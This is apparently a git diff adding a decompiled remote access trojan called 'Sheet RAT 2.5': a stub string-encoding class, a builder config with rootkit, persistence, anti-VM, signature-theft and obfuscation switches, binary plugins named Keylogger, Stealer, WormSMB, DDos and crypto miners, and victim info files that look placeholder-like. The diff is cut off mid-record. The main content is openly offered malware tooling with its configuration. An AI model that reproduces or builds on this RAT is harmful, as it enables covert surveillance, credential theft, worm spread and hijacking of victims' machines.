b/Server/Stub/Helper/CryptString/Caesars.cs @@ -0,0 +1,32 @@ +// Decompiled with JetBrains decompiler +// Type: Stub.Helper.CryptString.Caesars +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +//#nullable disable +namespace Stub.Helper.CryptString { + +internal class Caesars +{ + public string enc = "%enc%"; + public string dec = "%dec%"; + + public string Encrypt(string text) + { + string str = ""; + foreach (char ch in text) + { + for (int index = 0; index < this.enc.Length; ++index) + { + if ((int) this.enc[index] == (int) ch) + { + str += this.dec[index].ToString(); + break; + } + } + } + return str; + } +} +} diff --git a/Server/bin/Debug/ConfigBulid.json b/Server/bin/Debug/ConfigBulid.json new file mode 100644 index 0000000..16514a5 --- /dev/null +++ b/Server/bin/Debug/ConfigBulid.json @@ -0,0 +1,52 @@ +{ + "ASADMIN": false, + "INSTALL": false, + "INSTALLWATCHDOG": false, + "PUMPER": false, + "HIDEFILE": false, + "HIDEFOLDER": false, + "USERINIT": false, + "HKCU": false, + "TASKWATCHDOG": false, + "TASKCLIENT": false, + "ANTIPROCESS": false, + "ANTIPROCESSMODE": false, + "ICONBOOL": false, + "ASSEMBLY": false, + "SigTheif": false, + "ANTIVIRTUAL": false, + "ROOTKIT": false, + "IPS": [ + "127.0.0.1:8848" + ], + "MUTEX": "Sheet_rvoywgvtcq", + "GROUP": "Default", + "TASKADMIN": "", + "NAMECLIENT": "Sub\\Client.exe", + "NAMEWATCHDOG": "Sub\\WatchDog.exe", + "HKCUNAME": "", + "TASKWATCHDOGNAME": "", + "TASKCLIENTNAME": "", + "PRODUCT": "", + "DESCRIPTION": "", + "COMPANY": "", + "COPYRIGHT": "", + "TRADEMARKS": "", + "OriginalFilename": "", + "ProductVersion": "", + "File_Version": "", + "PasteBinUrl": "", + "COMBONAMECLIENT": -1, + "COMBONAMEWATCHDOG": -1, + "ICON": null, + "SigBin": null, + "PROXYSTRING": true, + "CTRLFLOW": true, + "CTRLJUMP": true, + "JUNKCODE": true, + "RENAME": true, + "ARITHNMETIC": true, + "PROXYCALL": true, + "Mode": false, + "Junk": 300 +} \ No newline at end of file diff --git a/Server/bin/Debug/GMap.NET.Core.dll b/Server/bin/Debug/GMap.NET.Core.dll new file mode 100644 index 0000000..729e81f Binary files /dev/null and b/Server/bin/Debug/GMap.NET.Core.dll differ diff --git a/Server/bin/Debug/GMap.NET.WindowsForms.dll b/Server/bin/Debug/GMap.NET.WindowsForms.dll new file mode 100644 index 0000000..ace6af2 Binary files /dev/null and b/Server/bin/Debug/GMap.NET.WindowsForms.dll differ diff --git a/Server/bin/Debug/IconExtractor.dll b/Server/bin/Debug/IconExtractor.dll new file mode 100644 index 0000000..d4fb497 Binary files /dev/null and b/Server/bin/Debug/IconExtractor.dll differ diff --git a/Server/bin/Debug/Ionic.Zip.dll b/Server/bin/Debug/Ionic.Zip.dll new file mode 100644 index 0000000..95fa928 Binary files /dev/null and b/Server/bin/Debug/Ionic.Zip.dll differ diff --git a/Server/bin/Debug/Maps.json b/Server/bin/Debug/Maps.json new file mode 100644 index 0000000..0637a08 --- /dev/null +++ b/Server/bin/Debug/Maps.json @@ -0,0 +1 @@ +[] \ No newline at end of file diff --git a/Server/bin/Debug/MetroFramework.Design.dll b/Server/bin/Debug/MetroFramework.Design.dll new file mode 100644 index 0000000..fe69d7d Binary files /dev/null and b/Server/bin/Debug/MetroFramework.Design.dll differ diff --git a/Server/bin/Debug/MetroFramework.Fonts.dll b/Server/bin/Debug/MetroFramework.Fonts.dll new file mode 100644 index 0000000..324ee0f Binary files /dev/null and b/Server/bin/Debug/MetroFramework.Fonts.dll differ diff --git a/Server/bin/Debug/MetroFramework.dll b/Server/bin/Debug/MetroFramework.dll new file mode 100644 index 0000000..ebffc7e Binary files /dev/null and b/Server/bin/Debug/MetroFramework.dll differ diff --git a/Server/bin/Debug/NAudio.dll b/Server/bin/Debug/NAudio.dll new file mode 100644 index 0000000..553425e Binary files /dev/null and b/Server/bin/Debug/NAudio.dll differ diff --git a/Server/bin/Debug/Newtonsoft.Json.dll b/Server/bin/Debug/Newtonsoft.Json.dll new file mode 100644 index 0000000..341d08f Binary files /dev/null and b/Server/bin/Debug/Newtonsoft.Json.dll differ diff --git a/Server/bin/Debug/Plugins/AutoRun.dll b/Server/bin/Debug/Plugins/AutoRun.dll new file mode 100644 index 0000000..5bebac3 Binary files /dev/null and b/Server/bin/Debug/Plugins/AutoRun.dll differ diff --git a/Server/bin/Debug/Plugins/AutoTask.dll b/Server/bin/Debug/Plugins/AutoTask.dll new file mode 100644 index 0000000..f766582 Binary files /dev/null and b/Server/bin/Debug/Plugins/AutoTask.dll differ diff --git a/Server/bin/Debug/Plugins/Chat.dll b/Server/bin/Debug/Plugins/Chat.dll new file mode 100644 index 0000000..9311263 Binary files /dev/null and b/Server/bin/Debug/Plugins/Chat.dll differ diff --git a/Server/bin/Debug/Plugins/Clipboard.dll b/Server/bin/Debug/Plugins/Clipboard.dll new file mode 100644 index 0000000..67b47c7 Binary files /dev/null and b/Server/bin/Debug/Plugins/Clipboard.dll differ diff --git a/Server/bin/Debug/Plugins/DDos.dll b/Server/bin/Debug/Plugins/DDos.dll new file mode 100644 index 0000000..75f9180 Binary files /dev/null and b/Server/bin/Debug/Plugins/DDos.dll differ diff --git a/Server/bin/Debug/Plugins/FileManager.dll b/Server/bin/Debug/Plugins/FileManager.dll new file mode 100644 index 0000000..88983a8 Binary files /dev/null and b/Server/bin/Debug/Plugins/FileManager.dll differ diff --git a/Server/bin/Debug/Plugins/FreendConnect.dll b/Server/bin/Debug/Plugins/FreendConnect.dll new file mode 100644 index 0000000..9ed89db Binary files /dev/null and b/Server/bin/Debug/Plugins/FreendConnect.dll differ diff --git a/Server/bin/Debug/Plugins/Fun.dll b/Server/bin/Debug/Plugins/Fun.dll new file mode 100644 index 0000000..e20a59a Binary files /dev/null and b/Server/bin/Debug/Plugins/Fun.dll differ diff --git a/Server/bin/Debug/Plugins/Images.dll b/Server/bin/Debug/Plugins/Images.dll new file mode 100644 index 0000000..4ba6dea Binary files /dev/null and b/Server/bin/Debug/Plugins/Images.dll differ diff --git a/Server/bin/Debug/Plugins/Keylogger.dll b/Server/bin/Debug/Plugins/Keylogger.dll new file mode 100644 index 0000000..a885c5f Binary files /dev/null and b/Server/bin/Debug/Plugins/Keylogger.dll differ diff --git a/Server/bin/Debug/Plugins/Map.dll b/Server/bin/Debug/Plugins/Map.dll new file mode 100644 index 0000000..0db1f6f Binary files /dev/null and b/Server/bin/Debug/Plugins/Map.dll differ diff --git a/Server/bin/Debug/Plugins/Message.dll b/Server/bin/Debug/Plugins/Message.dll new file mode 100644 index 0000000..a2998f9 Binary files /dev/null and b/Server/bin/Debug/Plugins/Message.dll differ diff --git a/Server/bin/Debug/Plugins/MicroPhone.dll b/Server/bin/Debug/Plugins/MicroPhone.dll new file mode 100644 index 0000000..5bcab55 Binary files /dev/null and b/Server/bin/Debug/Plugins/MicroPhone.dll differ diff --git a/Server/bin/Debug/Plugins/MinerEtc.dll b/Server/bin/Debug/Plugins/MinerEtc.dll new file mode 100644 index 0000000..7caab9e Binary files /dev/null and b/Server/bin/Debug/Plugins/MinerEtc.dll differ diff --git a/Server/bin/Debug/Plugins/MinerXmr.dll b/Server/bin/Debug/Plugins/MinerXmr.dll new file mode 100644 index 0000000..c56f676 Binary files /dev/null and b/Server/bin/Debug/Plugins/MinerXmr.dll differ diff --git a/Server/bin/Debug/Plugins/Netstat.dll b/Server/bin/Debug/Plugins/Netstat.dll new file mode 100644 index 0000000..f53335e Binary files /dev/null and b/Server/bin/Debug/Plugins/Netstat.dll differ diff --git a/Server/bin/Debug/Plugins/Regedit.dll b/Server/bin/Debug/Plugins/Regedit.dll new file mode 100644 index 0000000..42b200c Binary files /dev/null and b/Server/bin/Debug/Plugins/Regedit.dll differ diff --git a/Server/bin/Debug/Plugins/RemoteCamera.dll b/Server/bin/Debug/Plugins/RemoteCamera.dll new file mode 100644 index 0000000..eae9576 Binary files /dev/null and b/Server/bin/Debug/Plugins/RemoteCamera.dll differ diff --git a/Server/bin/Debug/Plugins/RemoteDesktop.dll b/Server/bin/Debug/Plugins/RemoteDesktop.dll new file mode 100644 index 0000000..39cb1ac Binary files /dev/null and b/Server/bin/Debug/Plugins/RemoteDesktop.dll differ diff --git a/Server/bin/Debug/Plugins/ReverseProxy.dll b/Server/bin/Debug/Plugins/ReverseProxy.dll new file mode 100644 index 0000000..4e43e4c Binary files /dev/null and b/Server/bin/Debug/Plugins/ReverseProxy.dll differ diff --git a/Server/bin/Debug/Plugins/Scheduler.dll b/Server/bin/Debug/Plugins/Scheduler.dll new file mode 100644 index 0000000..65d6c05 Binary files /dev/null and b/Server/bin/Debug/Plugins/Scheduler.dll differ diff --git a/Server/bin/Debug/Plugins/SendFile.dll b/Server/bin/Debug/Plugins/SendFile.dll new file mode 100644 index 0000000..8dec5ac Binary files /dev/null and b/Server/bin/Debug/Plugins/SendFile.dll differ diff --git a/Server/bin/Debug/Plugins/Service.dll b/Server/bin/Debug/Plugins/Service.dll new file mode 100644 index 0000000..372dcc6 Binary files /dev/null and b/Server/bin/Debug/Plugins/Service.dll differ diff --git a/Server/bin/Debug/Plugins/Shell.dll b/Server/bin/Debug/Plugins/Shell.dll new file mode 100644 index 0000000..8dade7c Binary files /dev/null and b/Server/bin/Debug/Plugins/Shell.dll differ diff --git a/Server/bin/Debug/Plugins/SpeakBot.dll b/Server/bin/Debug/Plugins/SpeakBot.dll new file mode 100644 index 0000000..83540ab Binary files /dev/null and b/Server/bin/Debug/Plugins/SpeakBot.dll differ diff --git a/Server/bin/Debug/Plugins/Stealer.dll b/Server/bin/Debug/Plugins/Stealer.dll new file mode 100644 index 0000000..4d535f9 Binary files /dev/null and b/Server/bin/Debug/Plugins/Stealer.dll differ diff --git a/Server/bin/Debug/Plugins/System.dll b/Server/bin/Debug/Plugins/System.dll new file mode 100644 index 0000000..a5c52d1 Binary files /dev/null and b/Server/bin/Debug/Plugins/System.dll differ diff --git a/Server/bin/Debug/Plugins/SystemDisable.dll b/Server/bin/Debug/Plugins/SystemDisable.dll new file mode 100644 index 0000000..80311c6 Binary files /dev/null and b/Server/bin/Debug/Plugins/SystemDisable.dll differ diff --git a/Server/bin/Debug/Plugins/TaskMgr.dll b/Server/bin/Debug/Plugins/TaskMgr.dll new file mode 100644 index 0000000..06ec05a Binary files /dev/null and b/Server/bin/Debug/Plugins/TaskMgr.dll differ diff --git a/Server/bin/Debug/Plugins/Uac.dll b/Server/bin/Debug/Plugins/Uac.dll new file mode 100644 index 0000000..7c8704e Binary files /dev/null and b/Server/bin/Debug/Plugins/Uac.dll differ diff --git a/Server/bin/Debug/Plugins/WormJoiner.dll b/Server/bin/Debug/Plugins/WormJoiner.dll new file mode 100644 index 0000000..ac0fc42 Binary files /dev/null and b/Server/bin/Debug/Plugins/WormJoiner.dll differ diff --git a/Server/bin/Debug/Plugins/WormSMB.dll b/Server/bin/Debug/Plugins/WormSMB.dll new file mode 100644 index 0000000..c07476c Binary files /dev/null and b/Server/bin/Debug/Plugins/WormSMB.dll differ diff --git a/Server/bin/Debug/Server.exe b/Server/bin/Debug/Server.exe new file mode 100644 index 0000000..c4432a8 Binary files /dev/null and b/Server/bin/Debug/Server.exe differ diff --git a/Server/bin/Debug/Server.exe.config b/Server/bin/Debug/Server.exe.config new file mode 100644 index 0000000..7c5661e --- /dev/null +++ b/Server/bin/Debug/Server.exe.config @@ -0,0 +1,171 @@ + + + + +
+
+ + + + + + + + + True + + + + + + + + + + + + False + + + False + + + + + + False + + + False + + + + + + + + + False + + + False + + + False + + + False + + + False + + + + + + False + + + + + + False + + + False + + + False + + + False + + + 0 + + + 0 + + + False + + + + + + True + + + True + + + True + + + True + + + True + + + True + + + False + + + + + + + + + + + + + + + + + + + + + + + + + + + False + + + False + + + + + + + + 3765 + + + True + + + False + + + False + + + True + + + True + + + + diff --git a/Server/bin/Debug/Server.exe.mdb b/Server/bin/Debug/Server.exe.mdb new file mode 100644 index 0000000..3eef33d Binary files /dev/null and b/Server/bin/Debug/Server.exe.mdb differ diff --git a/Server/bin/Debug/Stub/Client.exe b/Server/bin/Debug/Stub/Client.exe new file mode 100644 index 0000000..069212c Binary files /dev/null and b/Server/bin/Debug/Stub/Client.exe differ diff --git a/Server/bin/Debug/Stub/UserMode.obf.dll b/Server/bin/Debug/Stub/UserMode.obf.dll new file mode 100644 index 0000000..18d884d Binary files /dev/null and b/Server/bin/Debug/Stub/UserMode.obf.dll differ diff --git a/Server/bin/Debug/Stub/WinRing0x64.sys b/Server/bin/Debug/Stub/WinRing0x64.sys new file mode 100644 index 0000000..197c255 Binary files /dev/null and b/Server/bin/Debug/Stub/WinRing0x64.sys differ diff --git a/Server/bin/Debug/Stub/ddb64.dll b/Server/bin/Debug/Stub/ddb64.dll new file mode 100644 index 0000000..d61a6fd Binary files /dev/null and b/Server/bin/Debug/Stub/ddb64.dll differ diff --git a/Server/bin/Debug/Stub/ethminer.exe b/Server/bin/Debug/Stub/ethminer.exe new file mode 100644 index 0000000..161d939 Binary files /dev/null and b/Server/bin/Debug/Stub/ethminer.exe differ diff --git a/Server/bin/Debug/Stub/fds.dll b/Server/bin/Debug/Stub/fds.dll new file mode 100644 index 0000000..5bae40e Binary files /dev/null and b/Server/bin/Debug/Stub/fds.dll differ diff --git a/Server/bin/Debug/Stub/nvrtc-builtins64_112.dll b/Server/bin/Debug/Stub/nvrtc-builtins64_112.dll new file mode 100644 index 0000000..1fcbca5 Binary files /dev/null and b/Server/bin/Debug/Stub/nvrtc-builtins64_112.dll differ diff --git a/Server/bin/Debug/Stub/nvrtc64_112_0.dll b/Server/bin/Debug/Stub/nvrtc64_112_0.dll new file mode 100644 index 0000000..2674759 Binary files /dev/null and b/Server/bin/Debug/Stub/nvrtc64_112_0.dll differ diff --git a/Server/bin/Debug/Stub/sigthief.exe b/Server/bin/Debug/Stub/sigthief.exe new file mode 100644 index 0000000..3c5203b Binary files /dev/null and b/Server/bin/Debug/Stub/sigthief.exe differ diff --git a/Server/bin/Debug/Stub/xmrminer.exe b/Server/bin/Debug/Stub/xmrminer.exe new file mode 100644 index 0000000..5d1e0e4 Binary files /dev/null and b/Server/bin/Debug/Stub/xmrminer.exe differ diff --git a/Server/bin/Debug/System.Buffers.dll b/Server/bin/Debug/System.Buffers.dll new file mode 100644 index 0000000..f2d83c5 Binary files /dev/null and b/Server/bin/Debug/System.Buffers.dll differ diff --git a/Server/bin/Debug/System.Collections.Immutable.dll b/Server/bin/Debug/System.Collections.Immutable.dll new file mode 100644 index 0000000..8bf1e47 Binary files /dev/null and b/Server/bin/Debug/System.Collections.Immutable.dll differ diff --git a/Server/bin/Debug/System.Memory.dll b/Server/bin/Debug/System.Memory.dll new file mode 100644 index 0000000..5d19470 Binary files /dev/null and b/Server/bin/Debug/System.Memory.dll differ diff --git a/Server/bin/Debug/System.Numerics.Vectors.dll b/Server/bin/Debug/System.Numerics.Vectors.dll new file mode 100644 index 0000000..0865972 Binary files /dev/null and b/Server/bin/Debug/System.Numerics.Vectors.dll differ diff --git a/Server/bin/Debug/System.Runtime.CompilerServices.Unsafe.dll b/Server/bin/Debug/System.Runtime.CompilerServices.Unsafe.dll new file mode 100644 index 0000000..de9e124 Binary files /dev/null and b/Server/bin/Debug/System.Runtime.CompilerServices.Unsafe.dll differ diff --git a/Server/bin/Debug/SystemAdminServer.txt b/Server/bin/Debug/SystemAdminServer.txt new file mode 100644 index 0000000..e7abfae --- /dev/null +++ b/Server/bin/Debug/SystemAdminServer.txt @@ -0,0 +1,28 @@ + 13 2 + 47 Provided by @SystemAdminServer 52 + 85 for public use 14 + 1 343 48 6 + 62 492 5 4 94 753 + 18543 14 45 313646 + 7458833 759 144 7260463 + 17690943 805 5003 15998627 + 37260988543 356609884 51 + 431501511 8003003 313546216 + 362 34048003002095 3623 + 99004800200200893 7 + 544003500208 008247 + 2980082004415004400886 + 59028002002804 + 71 458000200069 5 + 344 60463208 328 + 38598 82 00205 0258468 + 48556002093849 + 3585030020286965 + 100018020700027 + 789 11 2073 + 105 89 + 3 5 + 12 11 + 47 4 + 87 85 + 53 \ No newline at end of file diff --git a/Server/bin/Debug/Themes.json b/Server/bin/Debug/Themes.json new file mode 100644 index 0000000..44ae568 --- /dev/null +++ b/Server/bin/Debug/Themes.json @@ -0,0 +1,4 @@ +{ + "Theme": 1, + "Style": 7 +} \ No newline at end of file diff --git a/Server/bin/Debug/Users/0Ut0ig/Info_EgQIQr_j62bqo.txt b/Server/bin/Debug/Users/0Ut0ig/Info_EgQIQr_j62bqo.txt new file mode 100644 index 0000000..ea02e3d --- /dev/null +++ b/Server/bin/Debug/Users/0Ut0ig/Info_EgQIQr_j62bqo.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 39.38.38.38 +HWID: 0Ut0ig +User: EgQIQr +MachineName: j62bqo +Computer: cE1Vvg +Camera: NNO8Yb +Cpu: yutFlp @ 2 +Gpu: NzAbMD +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: f5wC4g +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: bPYQgU diff --git a/Server/bin/Debug/Users/0mNL8N/Info_d0IWVc_OCnkZ0.txt b/Server/bin/Debug/Users/0mNL8N/Info_d0IWVc_OCnkZ0.txt new file mode 100644 index 0000000..af5b8c8 --- /dev/null +++ b/Server/bin/Debug/Users/0mNL8N/Info_d0IWVc_OCnkZ0.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 40.39.39.39 +HWID: 0mNL8N +User: d0IWVc +MachineName: OCnkZ0 +Computer: 5TmEE8 +Camera: XqrA74 +Cpu: qG7oIx @ 2 +Gpu: GZW0lm +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: R4wTEr +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: Pe8Ayj diff --git a/Server/bin/Debug/Users/0qkuRS/Info_BiPe5D_ElzWCp.txt b/Server/bin/Debug/Users/0qkuRS/Info_BiPe5D_ElzWCp.txt new file mode 100644 index 0000000..e84d0a2 --- /dev/null +++ b/Server/bin/Debug/Users/0qkuRS/Info_BiPe5D_ElzWCp.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 155.155.155.155 +HWID: 0qkuRS +User: BiPe5D +MachineName: ElzWCp +Computer: X1fHtF +Camera: RqfRBI +Cpu: M05xmF @ 2 +Gpu: UDXRg3 +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: BO71rm +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: PFDpdb diff --git a/Server/bin/Debug/Users/0uh2B9Yl/Download/Update.exe b/Server/bin/Debug/Users/0uh2B9Yl/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/0uh2B9Yl/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/123/Download/Update.exe b/Server/bin/Debug/Users/123/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/123/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/1OZ8YaeF/Download/Update.exe b/Server/bin/Debug/Users/1OZ8YaeF/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/1OZ8YaeF/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/1hxA2RbL/Download/Update.exe b/Server/bin/Debug/Users/1hxA2RbL/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/1hxA2RbL/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/2IGvm8/Info_2aXisV_4Gxkwz.txt b/Server/bin/Debug/Users/2IGvm8/Info_2aXisV_4Gxkwz.txt new file mode 100644 index 0000000..4b8a096 --- /dev/null +++ b/Server/bin/Debug/Users/2IGvm8/Info_2aXisV_4Gxkwz.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 165.165.165.165 +HWID: 2IGvm8 +User: 2aXisV +MachineName: 4Gxkwz +Computer: yj1kWg +Camera: dEKOi9 +Cpu: 6A7kS9 @ 2 +Gpu: FE0vWR +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: YBwtIe +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: ZP2AvS diff --git a/Server/bin/Debug/Users/2RX5rG/Info_7cMiWM_waP7hO.txt b/Server/bin/Debug/Users/2RX5rG/Info_7cMiWM_waP7hO.txt new file mode 100644 index 0000000..6dd00f0 --- /dev/null +++ b/Server/bin/Debug/Users/2RX5rG/Info_7cMiWM_waP7hO.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 212.212.212.212 +HWID: 2RX5rG +User: 7cMiWM +MachineName: waP7hO +Computer: LcIdTg +Camera: So4K6u +Cpu: OE1RhV @ 2 +Gpu: l9yWpt +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: Y5b2py +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: nXrJh5 diff --git a/Server/bin/Debug/Users/2phBhK/Info_wbxHE9_LDfUfq.txt b/Server/bin/Debug/Users/2phBhK/Info_wbxHE9_LDfUfq.txt new file mode 100644 index 0000000..b7b611a --- /dev/null +++ b/Server/bin/Debug/Users/2phBhK/Info_wbxHE9_LDfUfq.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 39.38.38.38 +HWID: 2phBhK +User: wbxHE9 +MachineName: LDfUfq +Computer: b1z7f2 +Camera: fE61zh +Cpu: nkwuHe @ 2 +Gpu: 1FqWFv +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: SCvRFx +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: bMNm8p diff --git a/Server/bin/Debug/Users/3Fx18OvG/Download/Update.exe b/Server/bin/Debug/Users/3Fx18OvG/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/3Fx18OvG/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/3YUoO2/Info_csS4ko_KsTNqV.txt b/Server/bin/Debug/Users/3YUoO2/Info_csS4ko_KsTNqV.txt new file mode 100644 index 0000000..27430c4 --- /dev/null +++ b/Server/bin/Debug/Users/3YUoO2/Info_csS4ko_KsTNqV.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 177.176.176.176 +HWID: 3YUoO2 +User: csS4ko +MachineName: KsTNqV +Computer: eiFQvu +Camera: qhyAWl +Cpu: aDRpyo @ 2 +Gpu: LrOv8L +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: VxmFyI +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: iXcn2G diff --git a/Server/bin/Debug/Users/3eaHLEfZ/Download/Update.exe b/Server/bin/Debug/Users/3eaHLEfZ/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/3eaHLEfZ/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/3gOJAq9l/Download/Update.exe b/Server/bin/Debug/Users/3gOJAq9l/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/3gOJAq9l/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/3kB4lQ/Info_UNYP15_UOy18j.txt b/Server/bin/Debug/Users/3kB4lQ/Info_UNYP15_UOy18j.txt new file mode 100644 index 0000000..d822753 --- /dev/null +++ b/Server/bin/Debug/Users/3kB4lQ/Info_UNYP15_UOy18j.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 175.174.174.174 +HWID: 3kB4lQ +User: UNYP15 +MachineName: UOy18j +Computer: xCEETv +Camera: Dotm48 +Cpu: sCDprw @ 2 +Gpu: UxxWP6 +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: ATkAJY +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: HNh1MG diff --git a/Server/bin/Debug/Users/4BhAYGtm/Download/Update.exe b/Server/bin/Debug/Users/4BhAYGtm/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/4BhAYGtm/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/4RW2RuG8/Download/Update.exe b/Server/bin/Debug/Users/4RW2RuG8/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/4RW2RuG8/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/4hOwoY/Info_Sgb1uZ_1vjM4V.txt b/Server/bin/Debug/Users/4hOwoY/Info_Sgb1uZ_1vjM4V.txt new file mode 100644 index 0000000..abd96bf --- /dev/null +++ b/Server/bin/Debug/Users/4hOwoY/Info_Sgb1uZ_1vjM4V.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 159.158.158.158 +HWID: 4hOwoY +User: Sgb1uZ +MachineName: 1vjM4V +Computer: Ljsc2w +Camera: 0PuiNR +Cpu: 2L3WUl @ 2 +Gpu: qhEkEo +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: jGznlW +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: LMM5x4 diff --git a/Server/bin/Debug/Users/4hPDvdka/Download/Update.exe b/Server/bin/Debug/Users/4hPDvdka/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/4hPDvdka/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/4qZI9N/Info_h63fiI_6xqOsz.txt b/Server/bin/Debug/Users/4qZI9N/Info_h63fiI_6xqOsz.txt new file mode 100644 index 0000000..e780652 --- /dev/null +++ b/Server/bin/Debug/Users/4qZI9N/Info_h63fiI_6xqOsz.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 106.106.106.106 +HWID: 4qZI9N +User: h63fiI +MachineName: 6xqOsz +Computer: 30sukl +Camera: i4AxOV +Cpu: nlx1gJ @ 2 +Gpu: IbIlCU +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: w8LG0x +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: Sr8QkS diff --git a/Server/bin/Debug/Users/5e4Mnu3t/Download/Update.exe b/Server/bin/Debug/Users/5e4Mnu3t/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/5e4Mnu3t/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/5jqufaua/Download/Update.exe b/Server/bin/Debug/Users/5jqufaua/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/5jqufaua/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/5pBgE1WV/Download/Update.exe b/Server/bin/Debug/Users/5pBgE1WV/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/5pBgE1WV/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/5qUcmC/Info_lfiVup_pXLzEY.txt b/Server/bin/Debug/Users/5qUcmC/Info_lfiVup_pXLzEY.txt new file mode 100644 index 0000000..0c31035 --- /dev/null +++ b/Server/bin/Debug/Users/5qUcmC/Info_lfiVup_pXLzEY.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 248.248.248.248 +HWID: 5qUcmC +User: lfiVup +MachineName: pXLzEY +Computer: SGotXF +Camera: 87Byms +Cpu: 7Cg8L3 @ 2 +Gpu: H5GJ6a +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: MhPFKq +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: bY9qX5 diff --git a/Server/bin/Debug/Users/5zKUS8/Info_4gXsNz_5omQuD.txt b/Server/bin/Debug/Users/5zKUS8/Info_4gXsNz_5omQuD.txt new file mode 100644 index 0000000..d7982c5 --- /dev/null +++ b/Server/bin/Debug/Users/5zKUS8/Info_4gXsNz_5omQuD.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 102.101.101.101 +HWID: 5zKUS8 +User: 4gXsNz +MachineName: 5omQuD +Computer: pLGCY7 +Camera: 9Iva50 +Cpu: 5RBput @ 2 +Gpu: HIwgDZ +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: GJ20yB +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: pkB46s diff --git a/Server/bin/Debug/Users/6IwEScCY/Download/Update.exe b/Server/bin/Debug/Users/6IwEScCY/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/6IwEScCY/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/6ayl78vc/Download/Update.exe b/Server/bin/Debug/Users/6ayl78vc/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/6ayl78vc/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/7QBV96/Info_6I2oh2_MB5BLE.txt b/Server/bin/Debug/Users/7QBV96/Info_6I2oh2_MB5BLE.txt new file mode 100644 index 0000000..c4613f6 --- /dev/null +++ b/Server/bin/Debug/Users/7QBV96/Info_6I2oh2_MB5BLE.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 177.177.177.177 +HWID: 7QBV96 +User: 6I2oh2 +MachineName: MB5BLE +Computer: B2sD90 +Camera: TpN42n +Cpu: ImCfQz @ 2 +Gpu: BU6s7K +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: ouwtFg +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: 